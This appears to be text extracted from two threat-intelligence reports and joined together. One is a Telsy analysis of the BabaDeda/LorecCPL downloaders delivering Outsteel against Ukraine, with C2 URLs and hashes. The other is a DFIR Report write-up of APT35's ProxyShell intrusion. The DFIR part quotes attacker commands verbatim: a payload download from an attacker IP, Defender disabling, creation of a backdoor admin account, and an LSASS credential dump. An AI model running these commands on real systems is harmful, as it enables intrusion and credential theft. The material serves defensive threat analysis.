+1st Loaded DLL
+2nd Loaded DLL
+Shellcode Container
+The workflow is quite like the previous, the difference is in the final payload and in the
+second malicious library.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+The library 
+ff_wmv9.dll
+, with hash ba9cea9ae60f473d7990c4fb6247c11c080788d3, is
+executed to decrypt the final payload and loads the second library.
+It opens the library 
+usage.pdf
+ reads the content, create a new thread and it copies in text
+segment the shellcode located at a specific offset and run it.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+The second library is loaded and executed.
+The second library achieves the persistence creating a link file pointing to the main binary
+in the start-up directory. The link file is created via COM object interface, in particular using
+the IShellLinkW interface.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+The start-up directory is obtained using SHGetFolderPathW() API.
+Meanwhile the second library gains the persistence, the main thread run the real payload
+after that it is decrypted as described for BabaDeda crypter. To have the final payload the
+main binary has been dumped just after the decryption phase. The final payload is a
+downloader that tries to download the next stage and run it in another process.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+Threat actor used a particular way to check the file size. It run a stat() and checked the
+size field. If it is 1 then the file and the malware is removed otherwise it is executed. The
+downloaded file is executed in a new process.
+On the other hand, below the function to delete itself.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+Unfortunately, the C2 
+hxxp://45.12.5.62/<timestamp in hex>
+ was not working so no
+further payloads are available.
+2.1.2 WhisperGate Code OVERLAP
+Some similarity has been found between the final payload, especially in the self-deletion
+routine. In particular the similarity is with the file having the hash
+34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907, i.e. the file
+Wiper
+Indeed the file wiper reported by 
+Unit42
+ in shows that the self-deletion command string
+is almost identical.
+Below the two strings used:
+Executable
+File Wiper (WhisperGate)
+adfrecorder.exe
+(final
+payload)
+Command
+cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q \"%s\"
+cmd.exe /min /C ping 111.111.111.111 -n 1 -w 10 > Nul & Del /f /q "%s"
+In the following snippet the difference between the two functions.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+adfrecorder.exe (final payload)
+File Wiper (WhisperGate)
+Also the routine to run the command is very similar.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+adfrecorder.exe (final payload)
+File Wiper (WhisperGate)
+Although the code is quite similar, at the same time it can be quite common. Nevertheless,
+the CMD command, its options and the use of the IP 111.111.111 as a whole suggest a
+similarity between the two artefacts. In addition, both malware processes close after
+execution of the CMD command.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+2.2 BABADEDA Crypter Dropped from a new Downloader
+The second infection chain analysed begins with an archive containing a file with the
+extension ".cpl" that subsequently downloads the BabaDeda crypter. Based on the
+compilation date of the cpl file, it is assumed that this campaign can be traced back to
+November 2021.
+execution process graph
+In terms of analysis, looking at a CPL file is essentially identical to a DLL file. However,
+unlike the latter, it is automatically run when double-clicked. This makes it similar to EXE
+files; however uneducated users may be more likely to try to execute CPL files if they do
+not know any better. These files with the extension CPL have code overlaid with LorecCPL
+described by the security company NSFocus.
+The zip archive, with hash 33ddc1b13c079001eaa3514de7354019fa4d470a, was hosted on
+discord and contains the LorecCPL file with hash:
+3bbe45cdcc2731c0bb4751d1098eccc50f98ef66.
+The latter is named:
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+PDF 
+______________________-pdf.cpl
+which means 
+PDF 
+ Instructions for receiving the vaccination bonus
+________________________- pdf.cpl
+The LorecCPL file downloads an MSI file and installs
+C:\Users\admin\AppData\Roaming\3delite\Memory Test Toolkit
+path:
+The LorecCPL file is therefore only a downloader and has a structure similar to a shellcode
+as shown in the following figure:
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+Basically, the code and the useful data are both in the text section. The return address in
+the stack is used to insert the address of the value that will be used by the call. The
+following routine is used to find the module addresses , walking the PEB structure:
+Once the address of the library has been obtained, of course the necessary APIs will
+actually be resolved:
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+The function to find the library address and to resolve the API name are used few times to
+get the address of the APIs LoadLibraryW() and GetProcAddr(), respectively the addresses
+are stored in the EDI and ESI registers. So further in the code when a library or a API should
+be resolved the EDI/ESI register are used to call the proper API.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+The library downloads an executable, with hash
+"7b67ed1f42e5cf388a0a981566598E716D9B4F99" from the URL
+"CDN.Discordapp.com/attachments/908281957039869965/911202801695/9112028016965
+/91120280162882172/adobeaacrobatreaderUpdate.exe" using the "WinHTTP" library,
+saves it in the path: 
+C:\Users\Public\svchosts.exe
+ and finally executes it.
+The file with hash 7b67ed1f42e5cf388a0a981566598e716d9b4f99 install BabaDeda crypter
+and starts the main malicious binary named also in this case mathparser.exe.
+The malicious files extracted are always the same:
+NAME
+mathparser.exe
+JxCnv40.dll
+SHA1
+f2b8ab6f531621ab355912de64385410c39c1909
+7d44391b76368b8331c4f468f8ddbaf6ee5a6793
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+PURPOSE
+Main malicious Binary
+1st Loaded DLL
+Cyber Reports 
+ 16/02/2022
+libics4.0.dll
+manual.pdf
+e1d92e085df142d703ed9fd9c65ed92562a759fa
+8423b25054aa78535c49042295558f33d34deae1
+2nd Loaded DLL
+Shellcode Container
+The LorecCPL libraries have been used to download Outsteel or BabaDeda crypter.
+Outsteel snippet code
+2.3 LorecCPL downloads ASPProtected Outsteel
+This infection chain according to the compilation time is of December 2021, differently
+from the previous one it does not uses BabaDeda crypter as loader but just uses LorecCPL
+to download Outsteel packed.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+chain
+starts
+with
+archive,
+with
+hash
+0d94bac4c4df1fe3ad9fd5d6171c7460b30d8203, containing a LorecCPL file, with hash
+f9d5b4cd52b42858917a4e1a1a60763c039f8930, and named
+pdf - 
+.cpl .
+The CPL file, having the text segment writable, decrypts the real code via xor and then
+jump on it. After the xor operation the code goes on the decrypted zone and execute the
+usual LorecCPL flow, i.e. putting arguments on the stack as return address and use them
+in functions.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+Indeed dumping the process the visual of the code is equals to the previous one.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+The LorecCPL will download from "stun.site/zepok101.exe" the Outsteel infostealer, with
+hash dbc9c8a492ae270bb7ed845680b81b94483ab585, packaged with the ASProtect tool .
+After decompressing and unpacking it, the 
+Outsteel
+ infostealer was found to exfiltrate
+documents on C2: 
+hxxp://185.244.41.109:8080/upld/
+Outsteel snippet code
+Belonging to the same campaign, for the same infection chain and period there is another
+archive, with hash 66117493eed35fbd3824e35971b0919190cd1de7, hosted at the following
+URL:
+hxxp://flexspace.app/images/%D0%A2%D0%9B%D0%A4%20%D0%B8%D0%BD%D1%8
+4%D0%BE%D1%80%D0%BC%20%D0%92%D0%A0%D0%A3.docx.rar
+This RAR file containing the usual LorecCPL file inside, with hash
+d0f1518db54f280dde5008404a2750641e76ceb2, named 
+.docx.cpl
+The LorecCPL file, just like the previous one, starts decrypting its payload and then acts
+like the previous downloading the Outsteel ASPRotected.
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+LorecCPL file before decryption:
+LorecCPL file after decryption:
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+The LorecCPL will download the next stage Outsteel from the following URL:
+hxxp://stun.site/42348728347829.exe
+The next stage, with hash 942337f3ea28f553b47dc05726bb062befe09fef, is still packed
+with ASProtector. The exfiltrated documents are still sent to the same IP address:
+185.244.41.109.
+Outsteel snippet code
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+3 Indicators of Compromise
+TYPE
+HASH
+DOTM
+ac672a07c62d48c0a7f98554038913770efaef11
+(Installer)
+(Installer)
+86f402fee99ae1358bb0b76d055b2d04518f
+3bbe45cdcc2731c0bb4751d1098eccc50f98ef66
+PURPOSE
+Start Chain Document Template
+downloader
+Start Chain Link file downloader
+Start Chain CPL file downloader
+0d584d72fe321332df0b0a17720191ad96737f47
+BABADEDA Crypter Installer
+75afd05e721553211ce2b6d6760b3e6426378469
+BABADEDA Crypter Installer
+26474ba449682e82ca38fef32836dcb23ee24012
+f2b8ab6f531621ab355912de64385410c39c1909
+7d44391b76368b8331c4f468f8ddbaf6ee5a6793
+ba9cea9ae60f473d7990c4fb6247c11c080788d3
+e1d92e085df142d703ed9fd9c65ed92562a759fa
+3a0a4e711c95e35c91a196266aeaf1dc0674739d
+Mathparser.exe main binary
+Mathparser.exe main binary
+JxCnv40.dll malicious library shellcode
+injector (1st stage)
+ff_wmv9.dll malicious library shellcode
+injector (1st stage)
+libics4.0.dll malicious library downloader
+(2nd stage)
+libegl3.dll
+malicious
+library
+persistence
+(2nd stage)
+(Shellcode)
+(Shellcode)
+Archive
+Archive
+8423b25054aa78535c49042295558f33d34deae1
+manual.pdf shellcode container
+fa7887bc9d48fcfc6fd0e774092ca711ae28993a
+usage.pdf shellcode container
+0d94bac4c4df1fe3ad9fd5d6171c7460b30d8203
+f9d5b4cd52b42858917a4e1a1a60763c039f8930
+dbc9c8a492ae270bb7ed845680b81b94483ab585
+66117493eed35fbd3824e35971b0919190cd1de7
+d0f1518db54f280dde5008404a2750641e76ceb2
+942337f3ea28f553b47dc05726bb062befe09fef
+Archive (CPL container)
+Outsteel downloader
+Outsteel Asprotected
+Archive (CPL container)
+Outsteel downloader
+Outsteel Asprotected
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+DOMAIN - IP - URL
+smm2021.net
+http://smm2021.net/load2022.exe
+3237.site
+http://3237.site/test01.exe
+45.12.5.62
+cdn.discordapp.com/attachments/908281957039869965/911202801416282172/AdobeAc
+robatReaderUpdate.exe
+185.244.41.109
+hxxp://185.244.41.109:8080/upld/
+flexspace.app
+hxxp://flexspace.app/images/%D0%A2%D0%9B%D0%A4%20%D0%B8%D0%BD%D1%
+84%D0%BE%D1%80%D0%BC%20%D0%92%D0%A0%D0%A3.docx.rar
+stun.site
+http://stun.site/zepok101.exe
+4 ATT&CK Matrix
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+Cyber Reports 
+ 16/02/2022
+Telsy is the Digital Champion of TIM Group for
+cybersecurity and cryptography. For 50 years it has been
+at the service of the defense of the country, supporting
+armed forces and institutions in the defense of
+communications and the Italian cyber perimeter.
+Working in synergy with the other factories of the TIM
+Group, Telsy is the Cybersecurity competence center,
+which develops, besides the innovative core business
+focused on communication security, firmware security,
+MSS, data center security, and decision intelligence &
+data analytics solutions.
+Telsy complies with the Golden Power regulation, being a
+strategic company to the national security and defense.
+This report was produced by Telsy
+Cyber Threat
+Intelligence
+ team with the help of its CTI platform,
+which allows to analyze and stay updated on adversaries
+and threats that could impact customers
+ business.
+2022 Telsy. All rights reserved. The reproduction and distribution of this
+material is prohibited without express written permission from Telsy.
+TELSY S.p.A.
+Corso Svizzera, 185 - 10149 Torino 
+ ITALIA
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+email: telsy@telsy.it
+Telsy Report 
+ BabaDeda and LorecCPL downloaders
+used to run Outsteel against Ukraine 
+ Telsy 2022
+APT35 Automates Initial Access Using ProxyShell
+thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell
+March 21, 2022
+In December 2021, we observed an adversary exploiting the Microsoft Exchange ProxyShell
+vulnerabilities to gain initial access and execute code via multiple web shells. The overlap of
+activities and tasks was remarkably similar to that observed in our previous report,
+Exchange Exploit Leads to Domain Wide Ransomware
+In this intrusion, we observed the initial exploitation of the ProxyShell vulnerabilities
+followed by some further post-exploitation activity, which included web shells, credential
+dumping, and specialized payloads. We assess that this activity was related to APT35 (TA453,
+COBALT ILLUSION, Charming Kitten, ITG18, Phosphorus, Newscaster) due to the TTP
+mirroring previously reported activity that was attributed to the group.
+Case Summary
+The threat actors activity occurred in two bursts within a 3 day time frame. As with our
+previous case, they started by uploading their web shell and disabling antivirus services.
+Soon after, they established two persistence methods. The first was through scheduled tasks,
+and the second, was via a newly created account. The account was then added to the 
+remote
+desktop users
+ and 
+local administrators users
+ groups. Like in the prior case involving
+ProxyShell, we observed a file masquerading as dllhost.exe that exhibited similarities to a
+proxy tool call Fast Reverse Proxy (with modifications) downloaded from the same IP as
+observed in the prior case and connecting to suspect domains.
+After establishing alternative ways of re-entering the targeted host, they enumerated the
+environment using Windows native programs such as net and ipconfig. At the end of their
+first visit, they disabled LSA protection, enabled WDigest for access to plain text credentials
+later, dumped the LSASS process memory, and downloaded the results via the web shell.
+All of this activity occurred over a time frame of around 2 minutes, leading us to assess that
+the entire attack was likely scripted out. The user agent strings of python-requests/2.26.0
+and python-urllib3/1.26.7 also point to the use of scripts.
+Two days later, we saw the threat actors reappear. We expected them to pick up where they
+left off, however, they repeated all previous actions. Due to the similarity between the
+commands and the sequential order they ran, this is additional evidence the threat actors
+employed automated scripts to execute these activities.
+No further activity was observed as the threat actors were evicted from the network.
+1/22
+Services
+We offer multiple services including a Threat Feed service which tracks Command and
+Control frameworks such as Cobalt Strike, BazarLoader, Covenant, Metasploit, Empire,
+PoshC2, etc. More information on this service and others can be found here.
+We also have artifacts and IOCs available from this case such as pcaps, memory captures,
+files, event logs including Sysmon, Kape packages, and more, under our Security Researcher
+and Organization services.
+Timeline
+2/22
+Analysis and reporting completed by @samaritan_o, @kostastsale, @svch0st and
+@RoxpinTeddy.
+3/22
+Initial Access
+As similarly seen in our previous report Exchange Exploit Leads to Domain Wide
+Ransomware, this threat actor utilized the Microsoft Exchange ProxyShell vulnerabilities; an
+exploit chain of 3 different CVEs:
+CVE-2021-34473
+CVE-2021-34523
+CVE-2021-31207
+With the appropriate PowerShell logging available we were able to recover the PowerShell
+commandlets executed on the Exchange server, which resulted in the creation of web shells
+on the host.
+Once the threat actor had gained a valid privileged session using CVE-2021-34473 and CVE2021-34523, they then ensured the default Administrator account had the correct role for
+mailbox importing and exporting:
+New-ManagementRoleAssignment -Role "Mailbox Import Export" -User
+"administrator@<REDACTED>"
+The threat actor initiated a mailbox export that matched the search criteria of Subject -eq
+'aspx_wkggiyvttmu' to a provided location with the .aspx extension. While the file created
+is a legitimate .pst file, in it contains plaintext web shell code that is rendered by IIS when
+requested.
+New-MailboxExportRequest -Mailbox "administrator@<REDACTED>" -FilePath
+"\\localhost\C$\Program Files\Microsoft\Exchange
+Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_wkggiyvttmu.aspx" -IncludeFolders
+("#Drafts#") -ContentFilter "Subject -eq 'aspx_wkggiyvttmu'"
+In an attempt to hide the actions taken, the actor removes the request just created:
+Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "77a883a7-470c471c-a193-f4c54f263fde"
+This activity then repeated approximately 2 days after the initial exploitation. As the actor
+had already achieved remote execution by this point, there is a high likelihood the
+exploitation of Exchange servers is automated. Below is the second web shell created that
+shares the same naming convention as the first.
+New-MailboxExportRequest -Mailbox "administrator@<REDACTED>" -FilePath
+"\\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_dyukbdcxjfi.aspx" IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_dyukbdcxjfi'"
+4/22
+Execution
+Approximately 20 seconds after the web shell aspx_wkggiyvttmu.aspx was created, a
+flurry of POST requests were sent to the web shell.
+The web shell followed a similar structure seen in previous cases. At least two parameters are
+sent in the POST request to the web shell, delimiter which defines what string is used to
+separate the response, and exec_code which is the command to be ran. The web shell had
+predefined functions for special actions:
+get 
+ Get file from location on disk (additional dst POST parameter)
+put 
+ Upload file to location (additional dst POST parameter)
+run 
+ Execute a list of commands separated by 
+ using PowerShell.
+5/22
+If exec_code does not start with one of the above commands, it will simply attempt to run
+it with PowerShell.
+The environment for this investigation had SSL inspection and PCAPs available for analysis
+which allowed us to see the commands being sent to the web shell itself. Below you can see
+an example of commands that were sent and the outputs they returned in the response.
+The actor first uploaded a file Wininet.xml , which is later used to create a scheduled task,
+to C:\windows\temp using the put command of the web shell. This was followed shortly
+by several commands to impair Windows Defender before downloading and executing a fake
+dllhost.exe from 148.251.71[.]182.
+Scheduled Task Commands:
+6/22
+schtasks.exe /Create /F /XML C:\windows\temp\Wininet.xml /tn
+'\Microsoft\Windows\Maintenance\Wininet'
+schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'
+Defender Modification Command:
+try {Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob; Set-MpPreference SevereThreatDefaultAction Allow -AsJob; Set-MpPreference -DisableRealtimeMonitoring 1
+-AsJob; Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}
+Start-Process powershell.exe {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri
+'hXXp://148.251.71[.]182/update[.]tmp' -OutFile $file}
+The schedule task runs a batch script called Wininet.bat which was also uploaded through
+the web shell. Wininet.bat simply loops through the execution of the file dllhost.exe .
+The file dllhost.exe is a golang binary. When executed, the binary was observed resolving
+the following domains:
+api.myip[.]com (for discovery)
+tcp443.msupdate[.]us
+kcp53.msupdate[.]us
+The binary also spawns the following commands when executed:
+cmd /c wmic computersystem get domain
+powershell /c Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
+Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select
+SmtpAddress | ft -hidetableheaders
+The binary has a low confidence reference to FRP (FastReverseProxy) as the sample matches
+the closed source Yara rule 
+ HKTL_PUA_FRP_FastReverseProxy_Oct21_1 (by Florian
+Roth) however it does not behave in the same way as the open source tool. This file also
+matches on an additional Yara rule more recently 
+APT_MAL_Go_FRP_CharmingKitten_Jan22_1 pointing to the file including some code
+from FRP but otherwise having been modified for use by this threat actor.
+7/22
+Persistence
+The threat actor utilized both account creation and scheduled tasks to gain persistence in the
+environment.
+New account creation
+During the first activity, we observed the use of user.exe executable that ran the following
+PowerShell command:
+powershell.exe /c net user /add DefaultAccount P@ssw0rd123412; net user
+DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup
+Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add
+DefaultAccount
+The first thing they did was make a new user named DefaultAccount with the password
+P@ssw0rd123412 . They then activated the account and changed the password
+( P@ssw0rd12341234 ) for the second time. Finally the commands added the new account to
+the Administrators group and Remote Desktop Users group.
+The threat actors ran the same command again two days later:
+powershell.exe /c net user /add DefaultAccount P@ssw0rd123412; net user
+DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup
+Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add
+DefaultAccount
+Due to the close proximity between executed commands, we assess that the threat actors
+used tools to automate the execution and discovery phases of this attack.
+Scheduled task
+As previously noted, we discovered the creation of a Scheduled task from a .xml template that
+was copied to the server via the web shell.
+8/22
+Below, we can observe the content of wininet.xml:
+9/22
+The following commands where then ran to initiate the task and to achieve persistence:
+schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn
+'\Microsoft\Windows\Maintenance\Wininet'
+schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'
+10/22
+Privilege Escalation
+The scheduled task created by the web shell was set to use the principal SID 
+S-1-5-18
+, or
+SYSTEM.
+<UserId>S-1-5-18</UserId>
+Defense Evasion
+Using PowerShell the threat actors issued several commands to impair Windows Defender
+including:
+Windows Defender Behavior Monitoring was disabled.
+The Severe Threat default action was set to 
+Allow
+Realtime Monitoring was disabled.
+The 
+C:\Windows
+ path was excluded from scheduled and real-time scanning.
+try {Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob; Set-MpPreference SevereThreatDefaultAction Allow -AsJob; Set-MpPreference -DisableRealtimeMonitoring 1
+-AsJob; Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}
+A rule was added to the Windows Firewall to allow remote RDP traffic.
+"netsh" advfirewall firewall add rule name="Terminal Server" dir=in action=allow
+protocol=TCP localport=3389
+Remote Desktop Services was started.
+"net" start TermService
+The threat actor enabled WDigest authentication. This enforces the storage of credentials in
+plaintext on future logins.
+"reg" add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
+UseLogonCredential /t REG_DWORD /d 1 /f
+LSA protection was disabled.
+"reg" add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f
+Credential Access
+The threat actor created a process memory dump from LSASS.exe. In this case they created a
+minidump
+ using the LOLBIN comsvcs.dll. This was dropped to disk as ssasl.pmd
+(lsass.dmp reversed) and then zipped before exfiltration.
+"powershell.exe" /c Remove-Item -Path C:\windows\temp\ssasl.pmd -Force -ErrorAction
+Ignore; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id
+C:\windows\temp\ssasl.pmd full | out-host; Compress-Archive
+C:\windows\temp\ssasl.pmd C:\windows\temp\ssasl.zip
+11/22
+Discovery
+The threat actors used native Windows binaries to enumerate the exploited server in an
+automated fashion. They executed commands such as:
+net.exe user
+ipconfig.exe /all
+powershell.exe (multiple commands)
+quser.exe
+These discovery tasks like the rest of the activity observed from this threat actor was executed
+via the web shell.
+They used the PowerShell module Get-WmiObject to collect the name and IP address of the
+domain controller.
+Get-WMIObject Win32_NTDomain | findstr DomainController
+Additionally, we saw threat actors retrieving an email address from the compromised
+exchange server using the below command. This was likely done as a test.
+Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select
+Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft hidetableheaders"
+Collection
+While having access to the Exchange server, we observed no attempts to export or access user
+mailboxes.
+12/22
+Command and Control
+As we saw from the execution section, dllhost.exe was used to access the below domains
+for C2, which we believe was using a variation of FRP.
+tcp443.msupdate[.]us (107.173.231[.]114)
+kcp53.msupdate[.]us
+(107.173.231[.]114)
+This C2 channel was not used very much as most activity was done through the web shell.
+Exfiltration
+The only successful data that was exfiltrated from the environment was the archive
+containing the LSASS dump.
+Here you can see the threat actor using the web shell command to extract it:
+Impact
+In this case, there was no further impact to the environment before the threat actors were
+evicted. Due to our previous report and OSINT research we believe with medium to high
+confidence that this intrusion would have ended in ransomware.
+13/22
+Indicators
+All artifacts including web shells, files, IPs, etc. were added to our services in December.
+Network
+ipv4:148.251.71[.]182
+ipv4:107.173.231[.]114
+domain: tcp443.msupdate[.]us
+domain: kcp53.msupdate[.]us
+useragent:python-urllib3/1.26.7
+useragent:python-requests/2.26.0
+File
+aspx_dyukbdcxjfi.aspx
+1a5ad24a6880eea807078375d6461f58
+da2470c3990ea0862a79149c6036388498da83cd
+84f77fc4281ebf94ab4897a48aa5dd7092cc0b7c78235965637eeef0908fb6c7
+dhvqx.aspx
+b2fde6dc7bd1e04ce601f57805de415b
+4d243969b54b9b80c1d26e0801a6e7e46d2ef03e
+c5aae30675cc1fd83fd25330cec245af744b878a8f86626d98b8e7fcd3e970f8
+dllhost.exe
+9a3703f9c532ae2ec3025840fa449d4e
+8ece87086e8b5aba0d1cc4ec3804bf74e0b45bee
+1604e69d17c0f26182a3e3ff65694a49450aafd56a7e8b21697a932409dfd81e
+wininet.bat
+5f098b55f94f5a448ca28904a57c0e58
+27102b416ef5df186bd8b35190c2a4cc4e2fbf37
+668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0
+wininet.xml
+d2f4647a3749d30a35d5a8faff41765e
+0f676bc786db3c44cac4d2d22070fb514b4cb64c
+559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e
+user.exe
+f0be699c8aafc41b25a8fc0974cc4582
+6bae2d45bbd8c4b0a59ba08892692fe86e596154
+7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b
+task_update.exe
+cacb64bdf648444e66c82f5ce61caf4b
+3a6431169073d61748829c31a9da29123dd61da8
+12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075f
+Detections
+14/22
+Network
+ET INFO User-Agent (python-requests) Inbound to Webserver
+ET INFO Generic HTTP EXE Upload Inbound
+ET INFO Generic HTTP EXE Upload Outbound
+GPL ATTACK_RESPONSE command completed
+ET ATTACK_RESPONSE Net User Command Response
+ET WEB_SERVER WebShell Generic - netsh firewall
+Sigma
+Local Accounts Discovery 
+https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
+rules/windows/process_creation/win_local_system_owner_account_discovery.yml
+Lsass Memory Dump via Comsvcs DLL 
+https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/
+rules/windows/process_access/sysmon_lsass_dump_comsvcs_dll.yml
+Net.exe Execution 
+https://github.com/SigmaHQ/sigma/blob/777d218adc789b7f1b146701793e78799324d87d/
+rules/windows/process_creation/win_susp_net_execution.yml
+Net-exe User Account Creation 
+https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
+rules/windows/process_creation/win_net_user_add.yml
+Netsh Port or Application Allowed 
+https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
+rules/windows/process_creation/win_netsh_fw_add.yml
+Netsh RDP Port Opening 
+https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
+rules/windows/process_creation/win_netsh_allow_port_rdp.yml
+Non Interactive PowerShell 
+https://github.com/SigmaHQ/sigma/blob/1425ede905514b7dbf3c457561aaf2ff27274724/ru
+les/windows/process_creation/win_non_interactive_powershell.yml
+Powershell Defender Exclusion 
+https://github.com/SigmaHQ/sigma/blob/682e0458a336c3a6e93b18f7e972e1d67ef01598/r
+ules/windows/process_creation/win_powershell_defender_exclusion.yml
+PowerShell Get-Process LSASS 
+https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/ru
+les/windows/process_creation/win_susp_powershell_getprocess_lsass.yml
+15/22
+Process Dump via Comsvcs DLL 
+https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
+rules/windows/process_creation/win_susp_comsvcs_procdump.yml
+Quick Execution of a Series of Suspicious Commands 
+https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/
+rules/windows/process_creation/win_multiple_suspicious_cli.yml
+Rare Scheduled Task Creations 
+https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/ru
+les/windows/other/taskscheduler/win_rare_schtask_creation.yml
+Service Execution 
+https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
+rules/windows/process_creation/win_service_execution.yml
+Shells Spawned by Web Servers 
+https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
+rules/windows/process_creation/win_webshell_spawn.yml
+Suspicious PowerShell Parent Process 
+https://github.com/SigmaHQ/sigma/blob/6f5271275e9ac22be9ded8b9252bce064e524153/
+rules/windows/process_creation/win_susp_powershell_parent_process.yml
+Suspicious Script Execution From Temp Folder 
+https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/
+rules/windows/process_creation/win_susp_script_exec_from_temp.yml
+Wdigest Enable UseLogonCredential 
+https://github.com/SigmaHQ/sigma/blob/503df469687fe4d14d2119a95723485d079ec0d9/
+rules/windows/registry_event/sysmon_wdigest_enable_uselogoncredential.yml
+Webshell Detection With Command Line Keywords 
+https://github.com/SigmaHQ/sigma/blob/1cfca93354d25e458db40f8d48403602b46bbf03
+/rules/windows/process_creation/win_webshell_detection.yml
+Windows Defender Real-Time Protection Disabled 
+https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/r
+ules/windows/registry_event/registry_event_defender_realtime_protection_disabled.yml
+Windows Defender Threat Detection Disabled 
+https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/r
+ules/windows/registry_event/registry_event_defender_disabled.yml
+16/22
